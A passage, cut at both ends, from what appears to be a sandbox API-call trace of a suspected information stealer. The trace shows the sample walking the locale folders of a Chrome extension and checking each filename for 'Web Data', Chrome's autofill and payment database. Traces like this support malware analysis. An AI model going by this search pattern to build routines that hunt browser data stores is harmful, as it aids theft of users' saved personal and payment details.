(hMem=0x6523b0) returned 0x0 [0078.634] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.634] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0078.634] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*" [0078.634] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.635] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.635] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.635] LocalFree (hMem=0x6525c0) returned 0x0 [0078.635] LocalFree (hMem=0x6524b8) returned 0x0 [0078.635] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.635] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.635] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0078.635] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0078.635] LocalFree (hMem=0x6523b0) returned 0x0 [0078.635] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0078.635] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0078.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*" [0078.635] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.636] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.636] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.636] LocalFree (hMem=0x6525c8) returned 0x0 [0078.636] LocalFree (hMem=0x6524b8) returned 0x0 [0078.636] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.636] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.636] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.636] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.637] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.637] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0078.637] LocalFree (hMem=0x6523b0) returned 0x0 [0078.637] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.637] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0078.637] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*" [0078.637] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.637] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.637] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.637] LocalFree (hMem=0x6525c0) returned 0x0 [0078.637] LocalFree (hMem=0x6524b8) returned 0x0 [0078.637] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.637] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.637] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.637] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.637] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.637] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0078.637] LocalFree (hMem=0x6523b0) returned 0x0 [0078.637] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.637] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0078.637] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*" [0078.637] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.638] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.638] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.638] LocalFree (hMem=0x6525c0) returned 0x0 [0078.638] LocalFree (hMem=0x6524b8) returned 0x0 [0078.638] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.638] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.638] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.638] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0078.638] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.638] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0078.639] LocalFree (hMem=0x6523b0) returned 0x0 [0078.639] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0078.639] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0078.639] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*" [0078.639] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.639] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.639] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.639] LocalFree (hMem=0x6525c0) returned 0x0 [0078.639] LocalFree (hMem=0x6524b8) returned 0x0 [0078.639] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.639] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.639] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.639] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.639] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.639] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0078.639] LocalFree (hMem=0x6523b0) returned 0x0 [0078.639] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.639] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0078.639] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*" [0078.639] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.640] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.640] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.640] LocalFree (hMem=0x6525c0) returned 0x0 [0078.640] LocalFree (hMem=0x6524b8) returned 0x0 [0078.640] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.641] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.641] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.641] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.641] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.641] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0078.641] LocalFree (hMem=0x6523b0) returned 0x0 [0078.641] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.641] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0078.641] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*" [0078.641] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.641] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.641] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.641] LocalFree (hMem=0x6525c0) returned 0x0 [0078.641] LocalFree (hMem=0x6524b8) returned 0x0 [0078.641] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.641] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.641] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: 